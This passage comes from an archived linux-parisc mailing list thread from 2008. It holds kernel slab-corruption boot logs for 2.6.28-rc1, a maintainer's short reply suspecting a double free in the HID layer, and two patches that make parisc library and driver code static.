  [<103d24fc>] generic_probe+0x64/0xb4
  [<103cb43c>] usb_probe_device+0x48/0x54
  [<10336430>] really_probe+0x10c/0x20c
  [<103365ac>] driver_probe_device+0x5c/0x78
  [<103353b4>] bus_for_each_drv+0x54/0x9c
  [<1033663c>] device_attach+0x5c/0x80

8f1aa518: redzone 1:0x9f911029d74e35b, redzone 2:0x0
Slab corruption: size-32 start=8f1aa4e8, len=32
Redzone: 0x0/0x9f911029d74e35b.
Last user: [<00000000>](0x0)
000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
010: 00 00 00 00 00 00 00 00 6b 6b 6b 6b 6b 6b 6b a5
Prev obj: start=8f1aa4b0, len=32
Redzone: 0x9f911029d74e35b/0x0.
Last user: [<00000000>](0x0)
000: 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b
010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Next obj: start=8f1aa520, len=32
Redzone: 0xd84156c5635688c0/0xd84156c5635688c0.
Last user: [<101ffd90>](sysfs_new_dirent+0x40/0x1a4)
000: 32 35 32 3a 34 00 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a
010: 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a a5
slab error in cache_alloc_debugcheck_after(): cache `size-32': double 
free, or memory outside object was overn
Backtrace:
  [<101a5724>] cache_alloc_debugcheck_after+0xd8/0x200
  [<101a6184>] __kmalloc_track_caller+0x1e4/0x230
  [<10188b70>] kstrdup+0x44/0x7c
  [<101ffd90>] sysfs_new_dirent+0x40/0x1a4
  [<10201130>] sysfs_do_create_link+0x134/0x2c8
  [<103334b8>] device_add_class_symlinks+0x4c/0x1c4
  [<10333930>] device_add+0x114/0x294
  [<103ceb60>] usb_create_ep_files+0x10c/0x198
  [<103ce3e0>] usb_create_sysfs_intf_files+0x90/0xc8
  [<103cb038>] usb_set_configuration+0x3b4/0x3f4
  [<103d24fc>] generic_probe+0x64/0xb4
  [<103cb43c>] usb_probe_device+0x48/0x54
  [<10336430>] really_probe+0x10c/0x20c
  [<103365ac>] driver_probe_device+0x5c/0x78
  [<103353b4>] bus_for_each_drv+0x54/0x9c
  [<1033663c>] device_attach+0x5c/0x80

8f1aa4e0: redzone 1:0x0, redzone 2:0x9f911029d74e35b
Slab corruption: size-32 start=8f1aa4b0, len=32
Redzone: 0x9f911029d74e35b/0x0.
Last user: [<00000000>](0x0)
010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Prev obj: start=8f1aa478, len=32
Redzone: 0xd84156c5635688c0/0xd84156c5635688c0.
Last user: [<101ffd90>](sysfs_new_dirent+0x40/0x1a4)
000: 62 75 73 00 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a
010: 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a a5
Next obj: start=8f1aa4e8, len=32
Redzone: 0xd84156c5635688c0/0xd84156c5635688c0.
Last user: [<101ffd90>](sysfs_new_dirent+0x40/0x1a4)
000: 73 75 62 73 79 73 74 65 6d 00 5a 5a 5a 5a 5a 5a
010: 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a a5
slab error in cache_alloc_debugcheck_after(): cache `size-32': double 
free, or memory outside object was overn
Backtrace:
  [<101a5724>] cache_alloc_debugcheck_after+0xd8/0x200
  [<101a6184>] __kmalloc_track_caller+0x1e4/0x230
  [<10188b70>] kstrdup+0x44/0x7c
  [<101ffd90>] sysfs_new_dirent+0x40/0x1a4
  [<10201130>] sysfs_do_create_link+0x134/0x2c8
  [<10333568>] device_add_class_symlinks+0xfc/0x1c4
  [<10333930>] device_add+0x114/0x294
  [<103ceb60>] usb_create_ep_files+0x10c/0x198
  [<103ce3e0>] usb_create_sysfs_intf_files+0x90/0xc8
  [<103cb038>] usb_set_configuration+0x3b4/0x3f4
  [<103d24fc>] generic_probe+0x64/0xb4
  [<103cb43c>] usb_probe_device+0x48/0x54
  [<10336430>] really_probe+0x10c/0x20c
  [<103365ac>] driver_probe_device+0x5c/0x78
  [<103353b4>] bus_for_each_drv+0x54/0x9c
  [<1033663c>] device_attach+0x5c/0x80

8f1aa4a8: redzone 1:0x9f911029d74e35b, redzone 2:0x0
usbcore: bogus descriptor, type 0 length 0
usb 1-2: New USB device found, idVendor=047b, idProduct=0002
usb 1-2: New USB device strings: Mfr=1, Product=2, SerialNumber=0
usb 1-2: Product: USB Keyboard and Mouse
usb 1-2: Manufacturer: SILITEK
IP-Config: Got BOOTP answer from 192.168.178.50, my address is 
192.168.178.70
slab error in verify_redzone_free(): cache `skbuff_head_cache': memory 
outside object was overwritten
Backtrace:
  [<101a51dc>] cache_free_debugcheck+0x18c/0x29c
  [<101a6218>] kmem_cache_free+0x48/0x194
  [<10346034>] tulip_close+0x164/0x1ec
  [<1045ed80>] dev_close+0xf8/0x120
  [<10462510>] dev_change_flags+0xb8/0x194
  [<107562bc>] ic_close_devs+0x44/0x6c
  [<10757854>] ip_auto_config+0x144/0x2e4
  [<101111ac>] do_one_initcall+0x70/0x190
  [<107361d0>] do_initcalls+0x30/0x4c
  [<107362f8>] kernel_init+0x8c/0xd4
  [<10117c5c>] ret_from_kernel_thread+0x1c/0x24

8f1af250: redzone 1:0x0, redzone 2:0xd84156c5635688c0.
slab error in verify_redzone_free(): cache `skbuff_head_cache': memory 
outside object was overwritten
Backtrace:
  [<101a51dc>] cache_free_debugcheck+0x18c/0x29c
  [<101a6218>] kmem_cache_free+0x48/0x194
  [<10346034>] tulip_close+0x164/0x1ec
  [<1045ed80>] dev_close+0xf8/0x120
  [<10462510>] dev_change_flags+0xb8/0x194
  [<107562bc>] ic_close_devs+0x44/0x6c
  [<10757854>] ip_auto_config+0x144/0x2e4
  [<101111ac>] do_one_initcall+0x70/0x190
  [<107361d0>] do_initcalls+0x30/0x4c
  [<107362f8>] kernel_init+0x8c/0xd4
  [<10117c5c>] ret_from_kernel_thread+0x1c/0x24

8f1af190: redzone 1:0xd84156c5635688c0, redzone 2:0x0.
IP-Config: Complete:
      device=eth0, addr=192.168.178.70, mask=255.255.255.0, 
gw=192.168.178.1,
      host=c3000, domain=box, nis-domain=(none),
      bootserver=192.168.178.50, rootserver=192.168.178.50, rootpath=
md: Skipping autodetection of RAID arrays. (raid=autodetect will force)
kjournald starting.  Commit interval 5 seconds
EXT3-fs: mounted filesystem with ordered data mode.
VFS: Mounted root (ext3 filesystem) readonly.
Freeing unused kernel memory: <0>------------[ cut here ]------------
Badness at kernel/smp.c:332

      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001110 Not tainted
r00-03  0004ff0e 10672280 10148060 106daa80
r04-07  101130d8 00000000 00000001 00000000
r08-11  101130d8 00000000 106d4280 10102398
r12-15  1077aa80 10671280 00000000 f0400004
r16-19  f0000884 f000017c f0000174 fffffff1
r20-23  00000000 1077c000 00000000 00000001
r24-27  00000000 101130d8 00000001 10671280
r28-31  10734000 000002ee 8f82c280 10120f48
sr00-03  00000000 00000000 00000000 00000000
sr04-07  00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 1016bb18 1016bb1c
  IIR: 03ffe01f    ISR: 102401fe  IOR: 0b02c19c
  CPU:        0   CR30: 8f82c000 CR31: d20344f0
  ORIG_R28: 10686bdc
  IAOQ[0]: smp_call_function_mask+0x44/0x234
  IAOQ[1]: smp_call_function_mask+0x48/0x234
  RP(r2): on_each_cpu+0x1c/0x50
Backtrace:
  [<10148060>] on_each_cpu+0x1c/0x50
  [<10111748>] free_initmem+0x4c/0x230
  [<10111310>] init_post+0x10/0x100
  [<1073632c>] kernel_init+0xc0/0xd4

288k freed
slab: Internal list corruption detected in cache 'sysfs_dir_cache'(53), 
slabp 8f125000(16). Hexdump:

000: 00 10 01 00 00 20 02 00 00 00 00 f0 8f 12 50 f0
010: 00 00 00 10 00 00 00 10 00 00 00 00 ff ff ff fe
020: ff ff ff fe ff ff ff fe ff ff ff fe ff ff ff fd
030: ff ff ff fd ff ff ff fd ff ff ff fd ff ff ff fd
040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
080: 00 00 00 1a 00 00 00 1b 00 00 00 1c 00 00 00 1d
090: 00 00 00 1e 00 00 00 1f 00 00 00 20 00 00 00 21
0a0: 00 00 00 22 00 00 00 23 00 00 00 24 00 00 00 25
0b0: 00 00 00 26 00 00 00 27 00 00 00 28 00 00 00 29
0c0: 00 00 00 2a 00 00 00 2b 00 00 00 2c 00 00 00 2d
0d0: 00 00 00 2e 00 00 00 2f 00 00 00 30 00 00 00 31
0e0: 00 00 00 32 00 00 00 33 00 00 00 34 ff ff ff ff
------------[ cut here ]------------
kernel BUG at mm/slab.c:2941!

      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001000000000100001110 Tainted: G        W
r00-03  0004010e 1068722c 101a53cc 000000f0
r04-07  8f8081c0 8f125000 00000002 8f1250f0
r08-11  8f809420 00000000 106d4280 1010e700
r12-15  1077aa80 10671280 00000000 f0400004
r16-19  f0000884 f000017c f0000174 1068722c
r20-23  1077aa64 00000000 000092a0 1032a2d8
r24-27  ffffffff 105d95f0 10687294 10671280
r28-31  00000001 000002ee 8f8603c0 10120f48
sr00-03  00000000 00000000 00000000 00000000
sr04-07  00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 101a53cc 101a53d0
  IIR: 03ffe01f    ISR: 10240001  IOR: a1e872a0
  CPU:        0   CR30: 8f860000 CR31: d20344f0
  ORIG_R28: 00000000
  IAOQ[0]: check_slabp+0xe0/0xf8
  IAOQ[1]: check_slabp+0xe4/0xf8
  RP(r2): check_slabp+0xe0/0xf8
Backtrace:
  [<101a590c>] free_block+0xc0/0x188
  [<101a6a7c>] drain_array+0xa4/0x108
  [<101a6b60>] cache_reap+0x80/0x15c
  [<10155904>] run_workqueue+0x124/0x1d4
  [<10155a38>] worker_thread+0x84/0xf8
  [<1015a168>] kthread+0x5c/0xa0
  [<10117c5c>] ret_from_kernel_thread+0x1c/0x24

Backtrace:
  [<10113db8>] die_if_kernel+0x130/0x1a0
  [<10113f18>] handle_break+0x8c/0xf0
  [<101147a0>] handle_interruption+0x570/0x58c
  [<10118078>] intr_check_sig+0x0/0x34
  [<101107b8>] _spin_lock_irqsave+0x14/0x24
  [<101a53d0>] check_slabp+0xe4/0xf8
  [<1019f9d8>] shmem_swp_alloc+0x208/0x248
  [<101bf378>] dispose_list+0x7c/0x138
  [<1010e700>] schedule_timeout+0xb4/0xd8
  [<10303b0c>] soft_cursor+0x1c8/0x1f8
  [<10303870>] bit_cursor+0x50c/0x54c
  [<101a6b60>] cache_reap+0x80/0x15c
  [<10155904>] run_workqueue+0x124/0x1d4
  [<10155a38>] worker_thread+0x84/0xf8
  [<1015a168>] kthread+0x5c/0xa0
  [<10117c5c>] ret_from_kernel_thread+0x1c/0x24

Slab corruption: size-32 start=8f121558, len=32
Redzone: 0x0/0x0.
Last user: [<00000000>](0x0)
000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Prev obj: start=8f121520, len=32
Redzone: 0x9f911029d74e35b/0x0.
Last user: [<00000000>](0x0)
000: 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b
010: 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b a5
Next obj: start=8f121590, len=32
Redzone: 0xd84156c5635688c0/0xd84156c5635688c0.
Last user: [<101734f0>](request_irq+0x8c/0x12c)
000: 10 32 8b ec 00 00 00 00 00 00 00 00 10 5c 5a cc
010: 8f 13 90 d8 00 00 00 00 00 00 00 03 8f 12 09 78
slab error in cache_alloc_debugcheck_after(): cache `size-32': double 
free, or memory outside object was overn
Backtrace:
  [<101a5724>] cache_alloc_debugcheck_after+0xd8/0x200
  [<101a5f54>] __kmalloc+0x1e4/0x230
  [<101eb748>] load_elf_binary+0x26c/0xbfc
  [<101afda8>] search_binary_handler+0x13c/0x3a4
  [<101b0174>] do_execve+0x140/0x254
  [<1011ee84>] sys_execve+0x40/0xa4
  [<10117c84>] __execve+0x20/0x34
  [<101b529c>] may_open+0x94/0x214
  [<101a52c0>] cache_free_debugcheck+0x270/0x29c
  [<101a6218>] kmem_cache_free+0x48/0x194
  [<101a8f38>] fd_install+0x38/0x7c
  [<101b7c24>] sys_dup+0x44/0x58
  [<101113cc>] init_post+0xcc/0x100

8f121550: redzone 1:0x0, redzone 2:0x0
slab error in cache_alloc_debugcheck_after(): cache `size-32': double 
free, or memory outside object was overn
Backtrace:
  [<101a5724>] cache_alloc_debugcheck_after+0xd8/0x200
  [<101a5cac>] kmem_cache_alloc+0x1a0/0x1e8
  [<101f1d04>] proc_reg_open+0x44/0x134
  [<101a8a7c>] __dentry_open+0x220/0x3b0
  [<101a8db8>] nameidata_to_filp+0x30/0x50
  [<101b5818>] do_filp_open+0x2f4/0x73c
  [<101a8fec>] do_sys_open+0x70/0x120
  [<101190c0>] syscall_exit+0x0/0x28

8f121518: redzone 1:0x9f911029d74e35b, redzone 2:0x0
Slab corruption: size-4096 start=8f127000, len=4096
440: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
450: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
460: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
470: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
7c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
7d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Linux 2.6.28-rc1: slab error in cache_alloc_debugcheck_after()
Date: Sun, 26 Oct 2008 17:23:37 -0500
Lines: 44
Approved: news@gmane.org
Message-ID: <1225059817.3958.9.camel@localhost.localdomain>
References: <4904CF9F.8060405@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1225059832 32086 80.91.229.12 (26 Oct 2008 22:23:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 26 Oct 2008 22:23:52 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Oct 26 23:24:53 2008
connect(): Connection refused
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KuE2W-0001AF-JM
	for glpp-linux-parisc@gmane.org; Sun, 26 Oct 2008 23:24:53 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752589AbYJZWXm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 26 Oct 2008 18:23:42 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752600AbYJZWXl
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 26 Oct 2008 18:23:41 -0400
Original-Received: from accolon.hansenpartnership.com ([76.243.235.52]:47453 "EHLO
	accolon.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752589AbYJZWXl (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 26 Oct 2008 18:23:41 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 61A6580B2;
	Sun, 26 Oct 2008 17:23:39 -0500 (CDT)
Original-Received: from accolon.hansenpartnership.com ([127.0.0.1])
	by localhost (redscar.int.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id nIbk01iZfDlC; Sun, 26 Oct 2008 17:23:38 -0500 (CDT)
Original-Received: from [153.66.150.222] (mulgrave-w.int.hansenpartnership.com [153.66.150.222])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 1056D8028;
	Sun, 26 Oct 2008 17:23:38 -0500 (CDT)
In-Reply-To: <4904CF9F.8060405@gmx.de>
X-Mailer: Evolution 2.22.3.1 (2.22.3.1-1.fc9) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:809
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/809>

On Sun, 2008-10-26 at 21:14 +0100, Helge Deller wrote:
> Just tried 2.6.28-rc1:
> ....
> usbcore: registered new interface driver usbhid
> usbhid: v2.6:USB HID core driver
> TCP cubic registered
> NET: Registered protocol family 17
> RPC: Registered udp transport module.
> RPC: Registered tcp transport module.
> rtc-parisc rtc-parisc: setting system clock to 2008-10-26 19:59:18 UTC 
> (1225051158)
> usb 1-1: new low speed USB device using ohci_hcd and address 2
> usb 1-1: configuration #1 chosen from 1 choice
> input: Logitech N48 as /class/input/input0
> generic-usb 0003:046D:C001.0001: input,hidraw0: USB HID v1.00 Mouse 
> [Logitech N48] on usb-0000:00:0e.2-1/inpu0
> usb 1-1: New USB device found, idVendor=046d, idProduct=c001
> usb 1-1: New USB device strings: Mfr=1, Product=2, SerialNumber=0
> usb 1-1: Product: N48
> usb 1-1: Manufacturer: Logitech
> usb 1-2: new low speed USB device using ohci_hcd and address 3
> usb 1-2: configuration #1 chosen from 1 choice
> slab error in cache_alloc_debugcheck_after(): cache `size-512': double 
> free, or memory outside object was oven
> Backtrace:
>   [<101a5724>] cache_alloc_debugcheck_after+0xd8/0x200
>   [<101a5cac>] kmem_cache_alloc+0x1a0/0x1e8
>   [<1042e294>] hid_register_report+0x60/0xc4
>   [<1042e5f8>] hid_add_field+0x40/0x1a4
>   [<1042ec40>] hid_parser_main+0x94/0xc4

If it's a double free this is probably in the hid layer.

I have to say that ion (pa8900) boots just fine with 2.6.28-rc1. I have
HID support built, but nothing to activate it.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: akpm@linux-foundation.org
Newsgroups: gmane.linux.ports.parisc
Subject: [patch 1/2] parisc/lib/: make code static
Date: Wed, 29 Oct 2008 14:23:32 -0700
Lines: 48
Approved: news@gmane.org
Message-ID: <200810292123.m9TLNWmM020652@imap1.linux-foundation.org>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1225315552 1093 80.91.229.12 (29 Oct 2008 21:25:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 29 Oct 2008 21:25:52 +0000 (UTC)
Cc: matthew@wil.cx, grundler@parisc-linux.org,
	linux-parisc@vger.kernel.org, akpm@linux-foundation.org,
	bunk@kernel.org
To: kyle@mcmartin.ca
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Oct 29 22:26:52 2008
connect(): Connection refused
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KvIYy-0002XX-T8
	for glpp-linux-parisc@gmane.org; Wed, 29 Oct 2008 22:26:49 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754374AbYJ2VY6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 29 Oct 2008 17:24:58 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755304AbYJ2VY6
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 29 Oct 2008 17:24:58 -0400
Original-Received: from smtp1.linux-foundation.org ([140.211.169.13]:33121 "EHLO
	smtp1.linux-foundation.org" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755284AbYJ2VYu (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 29 Oct 2008 17:24:50 -0400
Original-Received: from imap1.linux-foundation.org (imap1.linux-foundation.org [140.211.169.55])
	by smtp1.linux-foundation.org (8.14.2/8.13.5/Debian-3ubuntu1.1) with ESMTP id m9TLNX13010115
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Wed, 29 Oct 2008 14:23:34 -0700
Original-Received: from localhost.localdomain (localhost [127.0.0.1])
	by imap1.linux-foundation.org (8.13.5.20060308/8.13.5/Debian-3ubuntu1.1) with ESMTP id m9TLNWmM020652;
	Wed, 29 Oct 2008 14:23:33 -0700
X-Spam-Status: No, hits=-3.367 required=5 tests=AWL,BAYES_00,OSDL_HEADER_SUBJECT_BRACKETED
X-Spam-Checker-Version: SpamAssassin 3.2.4-osdl_revision__1.47__
X-MIMEDefang-Filter: lf$Revision: 1.188 $
X-Scanned-By: MIMEDefang 2.63 on 140.211.169.13
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:810
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/810>

From: Adrian Bunk <bunk@kernel.org>

Make the following needlessly global code static:

- iomap.c: struct iomap_ops[]
- memcpy.c: pa_memcpy()

Signed-off-by: Adrian Bunk <bunk@kernel.org>
Cc: Kyle McMartin <kyle@mcmartin.ca>
Cc: Matthew Wilcox <matthew@wil.cx>
Cc: Grant Grundler <grundler@parisc-linux.org>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
---

 arch/parisc/lib/iomap.c  |    2 +-
 arch/parisc/lib/memcpy.c |    2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff -puN arch/parisc/lib/iomap.c~parisc-lib-make-code-static arch/parisc/lib/iomap.c
--- a/arch/parisc/lib/iomap.c~parisc-lib-make-code-static
+++ a/arch/parisc/lib/iomap.c
@@ -261,7 +261,7 @@ static const struct iomap_ops iomem_ops 
 	iomem_write32r,
 };
 
-const struct iomap_ops *iomap_ops[8] = {
+static const struct iomap_ops *iomap_ops[8] = {
 	[0] = &ioport_ops,
 	[7] = &iomem_ops
 };
diff -puN arch/parisc/lib/memcpy.c~parisc-lib-make-code-static arch/parisc/lib/memcpy.c
--- a/arch/parisc/lib/memcpy.c~parisc-lib-make-code-static
+++ a/arch/parisc/lib/memcpy.c
@@ -275,7 +275,7 @@ handle_store_error:
 
 
 /* Returns 0 for success, otherwise, returns number of bytes not transferred. */
-unsigned long pa_memcpy(void *dstp, const void *srcp, unsigned long len)
+static unsigned long pa_memcpy(void *dstp, const void *srcp, unsigned long len)
 {
 	register unsigned long src, dst, t1, t2, t3;
 	register unsigned char *pcs, *pcd;
_
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: akpm@linux-foundation.org
Newsgroups: gmane.linux.ports.parisc
Subject: [patch 2/2] drivers/parisc/: make code static
Date: Wed, 29 Oct 2008 14:23:33 -0700
Lines: 176
Approved: news@gmane.org
Message-ID: <200810292123.m9TLNYWe020679@imap1.linux-foundation.org>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1225315554 1099 80.91.229.12 (29 Oct 2008 21:25:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 29 Oct 2008 21:25:54 +0000 (UTC)
Cc: matthew@wil.cx, grundler@parisc-linux.org,
	linux-parisc@vger.kernel.org, akpm@linux-foundation.org,
	bunk@kernel.org
To: kyle@mcmartin.ca
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Oct 29 22:26:53 2008
connect(): Connection refused
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KvIZ2-0002XX-GW
	for glpp-linux-parisc@gmane.org; Wed, 29 Oct 2008 22:26:53 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755104AbYJ2VZB (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 29 Oct 2008 17:25:01 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754499AbYJ2VZA
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 29 Oct 2008 17:25:00 -0400
Original-Received: from smtp1.linux-foundation.org ([140.211.169.13]:50733 "EHLO
	smtp1.linux-foundation.org" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754890AbYJ2VYw (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 29 Oct 2008 17:24:52 -0400
Original-Received: from imap1.linux-foundation.org (imap1.linux-foundation.org [140.211.169.55])
	by smtp1.linux-foundation.org (8.14.2/8.13.5/Debian-3ubuntu1.1) with ESMTP id m9TLNYku010117
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Wed, 29 Oct 2008 14:23:35 -0700
Original-Received: from localhost.localdomain (localhost [127.0.0.1])
	by imap1.linux-foundation.org (8.13.5.20060308/8.13.5/Debian-3ubuntu1.1) with ESMTP id m9TLNYWe020679;
	Wed, 29 Oct 2008 14:23:34 -0700
X-Spam-Status: No, hits=-3.367 required=5 tests=AWL,BAYES_00,OSDL_HEADER_SUBJECT_BRACKETED
X-Spam-Checker-Version: SpamAssassin 3.2.4-osdl_revision__1.47__
X-MIMEDefang-Filter: lf$Revision: 1.188 $
X-Scanned-By: MIMEDefang 2.63 on 140.211.169.13
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:811
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/811>

From: Adrian Bunk <bunk@kernel.org>

Make the following needlessly global code static:

- asp.c: asp_init_chip()
- ccio-dma.c: ccio_io_pdir_entry()
- dino.c: struct dino_port_ops
- dino.c: struct dino_bios_ops
- hppb.c: struct hppb_card_head
- lasi.c: lasi_led_init()
- lasi.c: lasi_init_chip()
- lba_pci.c: struct lba_bios_ops
- sba_iommu.c: sba_io_pdir_entry()
- sba_iommu.c: sba_driver_callback()
- sba_iommu.c: sba_driver_callback()
- wax.c: wax_init_chip()

Signed-off-by: Adrian Bunk <bunk@kernel.org>
Cc: Kyle McMartin <kyle@mcmartin.ca>
Cc: Matthew Wilcox <matthew@wil.cx>
Cc: Grant Grundler <grundler@parisc-linux.org>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
---

 drivers/parisc/asp.c       |    3 +--
 drivers/parisc/ccio-dma.c  |    2 +-
 drivers/parisc/dino.c      |    4 ++--
 drivers/parisc/hppb.c      |    2 +-
 drivers/parisc/lasi.c      |    5 ++---
 drivers/parisc/lba_pci.c   |    2 +-
 drivers/parisc/sba_iommu.c |    7 +++----
 drivers/parisc/wax.c       |    3 +--
 8 files changed, 12 insertions(+), 16 deletions(-)

diff -puN drivers/parisc/asp.c~drivers-parisc-make-code-static drivers/parisc/asp.c
--- a/drivers/parisc/asp.c~drivers-parisc-make-code-static
+++ a/drivers/parisc/asp.c
@@ -71,8 +71,7 @@ static void asp_choose_irq(struct parisc
  */
 #define ASP_INTERRUPT_ADDR 0xf0800000
 
-int __init
-asp_init_chip(struct parisc_device *dev)
+static int __init asp_init_chip(struct parisc_device *dev)
 {
 	struct gsc_irq gsc_irq;
 	int ret;
diff -puN drivers/parisc/ccio-dma.c~drivers-parisc-make-code-static drivers/parisc/ccio-dma.c
--- a/drivers/parisc/ccio-dma.c~drivers-parisc-make-code-static
+++ a/drivers/parisc/ccio-dma.c
@@ -555,7 +555,7 @@ static u32 hint_lookup[] = {
  * (Load Coherence Index) instruction.  The 8 bits used for the virtual
  * index are bits 12:19 of the value returned by LCI.
  */ 
-void CCIO_INLINE
+static void CCIO_INLINE
 ccio_io_pdir_entry(u64 *pdir_ptr, space_t sid, unsigned long vba,
 		   unsigned long hints)
 {
diff -puN drivers/parisc/dino.c~drivers-parisc-make-code-static drivers/parisc/dino.c
--- a/drivers/parisc/dino.c~drivers-parisc-make-code-static
+++ a/drivers/parisc/dino.c
@@ -287,7 +287,7 @@ DINO_PORT_OUT(b,  8, 3)
 DINO_PORT_OUT(w, 16, 2)
